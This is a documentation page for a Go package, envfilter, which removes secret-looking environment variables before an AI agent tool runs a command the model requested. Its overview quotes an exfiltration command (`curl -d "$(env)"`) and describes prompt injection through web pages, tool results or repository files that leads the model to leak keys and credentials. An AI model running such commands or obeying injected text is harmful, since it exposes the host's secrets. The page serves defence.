envfilter

package
v1.5.0 Latest Latest
Warning

This package is not in the latest version of its module.

Go to latest
Published: Oct 12, 2026 License: Apache-2.0 Imports: 3 Imported by: 0

Documentation

Overview

Package envfilter gives a command that the model asked to run the environment of the process, minus what looks like a secret.

A command the model runs can print its whole environment (`env`, `printenv`, `curl -d "$(env)" ...`), so an instruction hidden in a web page, a tool result or a file of the repository can make it send the provider keys, the database password or the cloud credentials of the host to anyone. The filter takes out the variables whose name says secret (API_KEY, TOKEN, SECRET, PASSWORD, DSN, ...), the families of the providers Seshat talks to, and the ones whose value is plainly a credential (a URL with a password in it, a private key, the usual token prefixes). PATH, HOME, LANG, the proxy and build settings and the like stay: the command still works.

Two settings, read from the environment of the process:

SESHAT_BASH_ENV_ALLOW=NAME,PREFIX_*  names (or prefixes ending in *) to keep although they look like secrets
SESHAT_BASH_INHERIT_ENV=true         no filtering at all (the former behaviour)

Index

Constants

This section is empty.

Variables

This section is empty.

Functions

func Environ

func Environ() []string

Environ returns the environment of the process for a command run on behalf of the model.

func Filter

func Filter(env []string, p Policy) []string

Filter returns env ("NAME=value" entries) without the variables that look like secrets, unless the policy keeps them.

func IsSensitive

func IsSensitive(name, value string) bool

IsSensitive reports whether a variable looks like a secret, from its name and from its value.

Types

type Policy

type Policy struct {
	// Inherit keeps everything.
	Inherit bool
	// Allow lists names (case-insensitive), or prefixes ending in "*", that are kept although they look like secrets.
	Allow []string
}

Policy says what Filter keeps.

func PolicyFromEnv

func PolicyFromEnv() Policy

PolicyFromEnv reads the policy from SESHAT_BASH_INHERIT_ENV and SESHAT_BASH_ENV_ALLOW.

Jump to

Keyboard shortcuts

? : This menu
/ : Search site
f or F : Jump to
y or Y : Canonical URL